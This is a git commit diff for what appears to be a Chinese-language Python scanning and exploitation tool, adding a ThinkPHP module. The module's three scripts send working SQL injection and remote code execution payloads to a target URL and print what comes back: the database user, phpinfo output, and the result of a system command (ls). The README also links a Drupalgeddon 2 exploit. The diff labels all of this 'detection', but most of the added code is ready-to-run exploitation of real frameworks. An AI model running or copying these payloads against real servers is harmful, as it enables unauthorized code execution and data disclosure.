[+]新增 thinkphp5 系列三漏洞检测

.vscode/settings.json

@@ -2,5 +2,5 @@
     "python.linting.flake8Enabled": true,
     "python.linting.pylintEnabled": false,
     "python.linting.enabled": true,
-    "python.pythonPath": "C:\\Python37\\python.exe"
+    "python.pythonPath": "C:\\python3\\python.exe"
 }

README.md

@@ -100,3 +100,11 @@
 - Drupal Drupalgeddon 2远程代码执行漏洞（CVE-2018-7600） # <https://github.com/a2u/CVE-2018-7600/blob/master/exploit.py>  
 
 > moon.py -u drupal <http://xxx.xxx.xxx.xxx:xxxx>
+
+## Thinkphp
+
+- thinkphp_before5_0_23_rce  
+- thinkphp5_inj_info  
+- thinkphp5_x_rce  
+
+> moon.py -u thinkphp <http://xxx.xxx.xxx.xxx:xxxx>

moon.py

@@ -16,6 +16,7 @@ import jboss.Main_jboss
 import kindeditor.Main_kindeditor
 import durpal.Main_durpal
 import bf_dicts.Main_bf
+import thinkphp.Main_thinkphp
 
 if __name__ == "__main__":
 
@@ -69,7 +70,8 @@ modul：ip ipq
             kindeditor.Main_kindeditor.exec(sys.argv[3])
         elif sys.argv[2] == 'drupal':
             durpal.Main_durpal.exec(sys.argv[3])
-
+        elif sys.argv[2] == 'thinkphp':
+            thinkphp.Main_thinkphp.exec(sys.argv[3])
 
         else:
             print('''
@@ -92,4 +94,4 @@ modul:  tomcat fck weblogic iis docker redis zabbix navigate gatepass
 IP归属查询：
 userage: python -u ip www.xxxxx.com/xx.xx.xx.xx
 modul：ip ipq
-				''')
+''')

thinkphp/Main_thinkphp.py

@@ -0,0 +1,14 @@
+# -*- coding: utf-8 -*-
+import thinkphp.thinkphp5_inj_info
+import thinkphp.thinkphp5_x_rce
+import thinkphp.thinkphp_before5_0_23_rce
+
+
+def exec(URL):
+    thinkphp.thinkphp5_inj_info.attack(URL)
+    thinkphp.thinkphp5_x_rce.attack(URL)
+    thinkphp.thinkphp_before5_0_23_rce.attack(URL)
+
+
+if __name__ == "__main__":
+    exec()

thinkphp/__init__.py

@@ -0,0 +1 @@
+# -*- coding: utf-8 -*-

thinkphp/thinkphp5_inj_info.py

@@ -0,0 +1,39 @@
+# -*- coding: utf-8 -*-
+import requests
+from bs4 import BeautifulSoup
+
+'''
+moon.py -u thinkphp http://xxxx.xxxx.xxxx.xxxx:xx
+ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
+启动后，访问http://your-ip/index.php?ids[]=1&ids[]=2，即可看到用户名被显示了出来。
+'''
+
+
+def attack(url):
+    print('[+]开始检测 thinkphp5_inj_info ！')
+    URL1 = url + '/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1'
+    try:
+        re = requests.get(URL1, verify=False, timeout=10)
+    except Exception:
+        print('[-]访问漏洞页面失败,未发现该漏洞！')
+        print('\n')
+    else:
+        if re.status_code == 500 and 'SQLSTATE' in re.text:
+            print('[+]存在风险页面，开始检测:', URL1)
+            try:
+                # print(re.text)
+                soup=BeautifulSoup(re.content,"lxml")
+                print('[+]获得账户数据如下，数据库连接数据请前往页面自行查找：')
+                print(soup.find_all('h1')[0].get_text())
+                print('[+]漏洞检测结束,存在 thinkphp5_inj_info ！')
+                print('\n')
+            except Exception:
+                print('[-]获取数据出错！请自行访问页面判断.')
+                print('\n')
+        else:
+            print('[-]访问漏洞页面失败,未发现该漏洞：', URL1, re.status_code)
+            print('\n')
+
+
+if __name__ == "__main__":
+    attack()

thinkphp/thinkphp5_x_rce.py

@@ -0,0 +1,38 @@
+# -*- coding: utf-8 -*-
+import requests
+from bs4 import BeautifulSoup
+
+'''
+moon.py -u thinkphp http://xxxx.xxxx.xxxx.xxxx:xx
+ThinkPHP是一款运用极广的PHP开发框架。其版本5中，由于没有正确处理控制器名，导致在网站没有开启强制路由的情况下（即默认情况下）可以执行任意方法，从而导致远程命令执行漏洞。
+直接访问http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1，即可执行phpinfo：
+'''
+
+
+def attack(url):
+    print('[+]开始检测 thinkphp5.x_rce ！')
+    URL1 = url + r'/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1'
+    try:
+        re = requests.get(URL1, verify=False, timeout=10)
+    except Exception:
+        print('[-]访问漏洞页面失败,未发现该漏洞！')
+        print('\n')
+    else:
+        if re.status_code == 500 and 'PHP' in re.text and 'System ' in re.text:
+            print('[+]phpinfo成功执行:', URL1)
+            try:
+                soup=BeautifulSoup(re.content,"lxml")
+                print('[+]获取到的php版本如下：')
+                print(soup.find_all('h1')[0].get_text())
+                print('[+]漏洞检测结束，存在 thinkphp5.x_rce ！')
+                print('\n')
+            except Exception:
+                print('[-]获取数据出错！请自行访问页面判断.')
+                print('\n')
+        else:
+            print('[-]访问漏洞页面失败,未发现该漏洞：', URL1, re.status_code)
+            print('\n')
+
+
+if __name__ == "__main__":
+    attack()

thinkphp/thinkphp_before5_0_23_rce.py

@@ -0,0 +1,48 @@
+# -*- coding: utf-8 -*-
+import requests
+from bs4 import BeautifulSoup
+
+'''
+moon.py -u thinkphp http://xxxx.xxxx.xxxx.xxxx:xx
+ThinkPHP是一款运用极广的PHP开发框架。其5.0.23以前的版本中，获取method的方法中没有正确处理方法名，导致攻击者可以调用Request类任意方法并构造利用链，从而导致远程代码执行漏洞。
+
+POST /index.php?s=captcha HTTP/1.1
+Host: localhost
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 72
+
+_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
+'''
+
+
+def attack(url):
+    print('[+]开始检测 thinkphp_before5.0.23_rce ！')
+    URL1 = url + r'/index.php?s=captcha'
+    try:
+        data = {'_method': '__construct', 'filter[]': 'system', 'method': 'get', 'server[REQUEST_METHOD]': 'ls'}
+        re = requests.post(URL1, data=data, verify=False, timeout=10)
+    except Exception:
+        print('[-]访问漏洞页面失败，未发现该漏洞！')
+        print('\n')
+    else:
+        if re.status_code == 200 and 'System Error' in re.text:
+            print('[+]命令成功执行，获取到的目录如下:')
+            try:
+                print(re.text[:80])
+                print('[+]漏洞检测结束,存在 thinkphp_before5.0.23_rce ！')
+                print('\n')
+            except Exception:
+                print('[-]获取数据出错！请自行访问页面判断.')
+                print('\n')
+        else:
+            print('[-]访问漏洞页面失败，未发现该漏洞', URL1, re.status_code)
+            print('\n')
+
+
+if __name__ == "__main__":
+    attack()